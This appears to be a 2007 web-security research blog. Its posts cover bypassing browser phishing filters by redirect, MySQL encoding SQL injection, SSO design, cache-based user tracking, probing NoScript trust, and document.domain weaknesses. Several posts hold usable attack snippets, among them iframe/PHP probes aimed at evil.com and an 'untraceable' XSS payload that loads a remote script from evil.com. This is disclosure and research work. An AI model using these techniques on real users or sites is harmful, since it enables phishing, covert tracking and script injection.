http://blogs.msdn.com/david.wang/archive/2006/04/20/HOWTO-Retrieve-Request-Headers-using-ISAPI-ASP-and-ASP-Net.aspx

[3] "IE 7 and Firefox Browsers Digest Authentication Request Splitting", Stafano Di Paolo, April 2007
http://www.wisec.it/vulns.php?id=11

[4] "(somewhat) breaking the same-origin policy by undermining dns-pinning", Martin Johns, August 2006
http://shampoo.antville.org/stories/1451301/

[5] "Stealing Information Using Anti-DNS Pinning : Online Demonstration", Kanatoko Anvil, December 2006
http://www.jumperz.net/index.php?i=2&a=1&b=7

[6] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, December 2006
http://sla.ckers.org/forum/read.php?6,4511,4539#msg-4539

[7] "Anti-DNS Pinning + Socket in FLASH", Kanatoko Anvil, February 2007
http://www.jumperz.net/index.php?i=2&a=3&b=3

[8] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, February 2007
http://sla.ckers.org/forum/read.php?6,4511#msg-6253

[9] "Using Java in anti DNS-pinning attacks (Firefox and Opera)", Martin Johns & Kanatoko Anvil, February 2007
http://shampoo.antville.org/stories/1566124/

[10] "How to detect Proxy Settings for Internet Connection"
http://www.java-tips.org/java.net/how-to-detect-proxy-settings-for-internet-connection.html

[11] "RE: Auto-detecting proxy settings in a standalone Java app"
http://www.mail-archive.com/commons-httpclient-dev@jakarta.apache.org/msg07568.html

[12] "Read Firefox Settings (PoC)", Sergey Vzloman, May 2007
http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/

Saturday, June 30, 2007

Universal Phishing Filter Bypass

Well, I tried to do responsible disclosure, so I could at least claim I care about how secure users are (and get my name in some patch notes, :p), but according to Microsoft "The Internet Explorer phishing filter is not a security feature, so this is not something MSRC would track.", Mozilla haven't replied (email sent early Wednesday), and Opera haven't replied either (bug report added early Thursday), though I didn't give opera much time, I really don't think its a big issue because its not even on by default in Opera.

To better understand how the following idea can actually be utilised, and why it matters, you need to understand the point of the phishing filter. When a phishing site is first created and sent to users, the phishing filter does not know about it - the phishing filter is updated based on a blacklist of URLs which are manually entered.

The reason,the filter works is because while a phisher could encode the address to stop it being detected, or move the server, etc, etc, but all the emails they sent still have the same static blocked link. And this is the whole reason the filter works - all the emails have the same link which is blocked. This doesn't have to be the case, but I'll write something about that some other day.

To avoid this, one can do the following:

Send out phishing emails as one normally would, but instead of pointing to the actual phishing page, point to some central server, which can send your arbitrary response headers, or is under your complete control.

The page the user is sent to, actually redirects the user to an actual phishing page, either on the same server or another.

There is a loophole in the phishing filters where if a page is blocked, but instead of being loaded, it redirects the user, then the phishing warning is not displayed (the phishing warning seems to do checks after the page has been loaded, or at least the html code has).

What this means is that, the moment a phishing URL is added to the list, the phisher can easily just make it redirect elsewhere (or just encode it, and redirect to the encoded URL to bypass the filter), and viola, the link in the phishing email is now working again.

And considering all the filters do direct URL comparisons, and the redirects do not have to be static (i.e. you could use mod_rewrite to make random URLs show the same phishing page), the way current phishing filters are set up you could avoid the indefinitely.

If you want to confirm this, here are the steps I sent to MS/Mozilla/Opera on how to verify it:

1. Find a blocked URL.
- I got http://ospr.110mb.com/yahoo/ from phishtank

2. Point the hosts file entry for the domain to an IP.
- I pointed ospr.110mb.com to 127.0.0.1

3. Create a directory/page on your server in the same place as the phishing page.
- I created /yahoo/index.php on my localhost

4. Confirm that your page is being blocked.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and it was blocked in all browsers

5. Clear the browser cache/restart the browser.
- IE and Firefox need a restart, Opera needs you to manually clear the cache

6. Edit the file to redirect to another file on the site which is not blocked.
- I created /yahoo/login.php and then used a Location redirect in index.php to redirect myself there:

header ("Location: http://ospr.110mb.com/yahoo/login.php");
?>

7. Visit the original phishing page again.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and in both browsers, no message was shown to the user, and I was successfully redirected, even though the original page was a known phishing URL in both systems.

Note: The need to clear the cache/restart the browser would not impact an attack, because the redirecting page would never be filtered and cached in the first place, it is merely a symptom of checking that the URL is properly blocked. So if you can trust me that the URL is blocked, you can simply ignore step 4.

Wednesday, June 27, 2007

[My]SQL Injection Encoding Attacks

Early last year Chris Shiflett and Ilia Alshanetsky published some posts about how it is possible to conduct SQL Injection attacks against sites which escape user input, but either use an encoding unaware escaping function (e.g. addslashes()), or do not inform their escaping function about the issue.

I'm not going to re-hash their posts, so you should go read them now, if you haven't done so before.

But who actually does either of those things? Well, Google Code search reports approximately 54,300 results for applications using addslashes() and approximately 100 applications which have the words "SET CHARACTER SET" in their code.

Not particularly many of the latter, but the very first result is the rather popular phpMyAdmin project, so its not a completely unused query.

Anyway, since I hadn't seen any research on which character sets were vulnerable (and which characters to use), I wrote a small fuzzer to test all the character sets which MySQL supports (other than UCS-2), for several different encoding attacks, though only the ones described by Chris and Ilia yielded any results. Here are the character sets vulnerable, and the first character of the multi-byte sequence where \ is the second character:
  • big5, [A1-F9]

  • sjis, [81-9F], [E0-FC]

  • gbk, [81-FE]

  • cp932, [81-9F], [E0-FC]


I didn't successfully test ucs2 because ucs2 is a fixed width 2 byte character encoding, which will not execute queries passed in standard ascii, and so it would be impossible to get a webapp working if you set your connections to ucs2 but didn't convert all your queries, etc, so a configuration issue like that would be instantly noticed, and if you were using an encoding unaware function, then it would definitely be vulnerable, since all byte sequences are two bytes.

Anyway, if anyone is interested, I uploaded the fuzzer here: http://mihd.net/pwe0f9. As you will notice, I ripped the code which Ilia used to illustrate the vulnerability for GBK, so the two pieces look very similar. Its also not very well written, but it worked and got the results for me.

Notes: Part 2 of the fuzzer is trying to see if its possible to have a double or single quote as the second character in a multi-byte sequence, and Part 3 is trying to see if its possible to use a quote as the first character.

Also, this is obviously MySQL specific, the reason for this is because (as far as I could find out) MySQL is the only RDBMS which allows you to set the connection encoding through a query, all the other require configuration changes, and while addslashes() issues are applicable to all RDBMS's, most applications these days use mysql_real_escape_string().

Saturday, June 02, 2007

Building Secure Single Sign On Systems and Google

After seeing several posts which spelled doom and gloom if there was ever found an XSS hole in any of Google's because they used a Single Sign On (SSO) System I started trying to think of a method in which secure sign on could be securely implemented, where all the SSO server side code is trusted, e.g. when you own all the websites, and here's what I came up with.

Idea 1: Remote Javascript



The first thing that came into my head was using Remote Javascript files, to give any SSO site (site specific of course), which the server side back-end could then use to query a database, to check that the specific token was valid for their site, and if it was, they would be issued another site specific login token, which would be placed in a user's cookie, and session management would resume as usual.

The problem with this is, of course, making sure that no other sites can retrieve this login token by including the same remote javascript in their page.

Of course, there are several things you could do to prevent this:

You could do referer checks. While we have seen methods to spoof or strip referers, there have been no methods to my knowledge to date which can do this when you're requesting script elements. You could technically spoof the header normally, and try to poison the cache, but as long as the appropriate cache headers are sent, then this should not be possible.

But this leaves any users who have referer stripping firewalls in danger, and this is unacceptable.

You could use CSRF style protections. But this faces the problem of what you can actually tie the token to. You could tie the token to the IP, but as long as Anti-DNS Pinning works, this can be attacked and broken, so this is not a valid solution. And Furthermore doing such checks would be rather expensive in terms of operations needing to be performed, since this is being done between separate servers/sites.

Which essentially means that while we can make this system secure for most people, there are some we would not secure, and it is therefore not viable.

Idea 2: Remote iframes


I kept thinking about other ways you could send data to a specific site only and (from my attempts to break SessionSafe) I remembered that we could use iframes.

If an iframe sets the window.top.location.href property, the page which loaded the iframe cannot read that value, and even if they could it would be considered a browser bug and fixed. So to transfer data to our domain and our domain only we would do the following:

Write an iframe to the page which looked like this:
<iframe width="300" height="150" src="http://ssodomain.com/login.php?site=Service"></iframe>

And on http://ssodomain.com/login.php the following would be done:

If the user is not logged in display a login form.

If the user is logged in then write the following javasript tot he page:

window.top.location = 'http://companyownedwebsite.com/verify.php?auth=123456';

Where companyownedwebsite.com was determined by a switch statement on the site variable, so that only a valid site could be redirected to, and so the SSO service knew which particular value to parse in auth variable.

The other mechanisms are the same as in Idea 1. Furthermore this protects you from Programmatic password theft, since the password is entered on a domain which has nothing other than a login form.

Google's Approach


After thinking of Idea 2, I realised that this is what google does; on most of their services anyway. The one service (at which I initially looked to find out how Google implemented SSO, *doh*) which doesn't use the exact same method as above is Gmail. What it turns out Gmail does (which I somehow missed) is, instead of using an iframes, they redirect gmail.com to the equivalent of http://ssodomain.com/login.php?site=Gmail where the whole login page is displayed, and the form is submitted to that same domain.

So what does this mean?



I came to the same idea independently of Google (which to me says that there must be some merit to it, sine I didn't just see the idea and say; hey, this looks good), and it should in theory and practice be perfectly sound as long as a website cannot tell determine the URL to which the iframe/a page loaded in an iframe is being redirected to, and there are no XSS holes in the SSO domain.

So Google's SSO should be secure in the face of an XSS hole?



Well, no; Google messed up; they made their SSO domain www.google.com; the same domain as their main site, which means it used used for more central purposes (central in terms of design, rather than importance). This is bad, because there should be nothing on the SSO domain other than SSO forms, because otherwise one may find XSS holes in the SSO domain, and that breaks the whole system (bar things like IP locks tying the sessions together, but with Anti-DNS Pinning, this can again be broken)

So what are you trying to say



What I'm trying to say is that all XSS holes which are not in www.google.com (and yes, the www is important) will not break SSO, but any XSS hole which is in that domain, has the potential to.

Oh, and Google isn't completely hopeless when it comes to security - they just have many more developers working for them, and many more web facing projects than most organisations.

Saturday, May 19, 2007

Tracking users with Cache Data

There are several methods that browsers and web servers use to speed up browsing, so that less data needs to be transfered over the network, two of these methods are the ETag/If-None-Match and Last-Modified/If-Modified-Since headers. The premise is fairly simple for both.

With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.

If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.

The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.

Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.

As such it would be better to use the Last-Modified/If-Modified-Since headers.

All you need to do now is embed a tracking image in each page, and send a unique date each time no If-Modified-Since header is sent, and a blank 304 response at all other times.

The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made <=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.

You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.

You would still need to use one of these techniques though, because you need to serve different pieces of javascript to different people, and have that piece of javascript cached as long as possible.

But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's Basic Auth Tracking

P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.

Wednesday, May 16, 2007

Determining sites trusted by NoScript

With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.

Open Redirect



The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:

detect.php:
<html>
<body>
<iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"></iframe>
</body>
</html>


query.php:
<?php
if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {
print "Untrusted!";
} else {
print "Trusted!<br />\n";
print "For ID: ".$_SERVER['QUERY_STRING'];
}

?>


The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.

Non-Open Redirects



Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
  • We cannot use Javascript to determine where you've been.

  • We cannot actually pass a parameter to where we will be redirected.


The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/

The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.

Most systems which perform closed redirection have URLs which look like:
http://www.site.com/redir.php?id=123

Where the id value is first run through intval(), then put directly into an SQL statement.

Now, we can exploit this fact by sending people to a URL like this:
http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3E

Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
http://www.site.com/redir.php?id=%3F123%26id%3D

And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.

If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.

Controlled Off-Site Resources


If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.

Generic Method


The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.

And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.

If you send a user to:
http://www.site.com/page.php?param=%3Ctest%3E

And the history hack says the user has been to
http://www.site.com/page.php?param=%20test%20

Then the site is obviously trusted.

Uses


These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.

Final notes


Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.

The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.

Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?

Beats me; I just thought this was interesting.....

Friday, April 27, 2007

Breaking the same origin policy in an upwards direction (IE & Firefox Only)

To explain why this is meaningful, I'll first give a quick primer on the document.domain property:

The document.domain is by default set to the hostname which is used to access a site.

The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]

To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.

Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.

Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.

Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.

[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant: http://sla.ckers.org/forum/read.php?13,10863

This isn't the post your looking for either

A few days ago prdelka post a blog post entitled "This isnt the post your looking for", you should read it, preferably before reading ny more of this post. He also deleted all his other blog postings, and removed all the papers and exploits, etc, which he had written from his server.

For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.

What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?

And if you're in Britain, how will this affect you?

Sunday, April 01, 2007

Untraceable XSS Attacks Version 2

I was thinking about the Adobe PDF UXSS issue that we encountered a few months ago, and remembered how much of a problem we had solving it because servers were not sent the URL fragments (the part after the #).

Now this got me thinking; the client can still read the portion of the URL after the # symbol.

So why not put the location of our logic after the URL fragment like so:

<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com/page.php?vuln=<script>var source_loc = substr (document.location.lastIndexOf("#") + 1); var s = document.createElement ('script'); s.src=source_loc; document.body.appendChild(s);</script>#http://www.evil.com/s.js">
</head>
</html>



And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.

Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.

And it seems like a much cleaner method than the last two posts to me.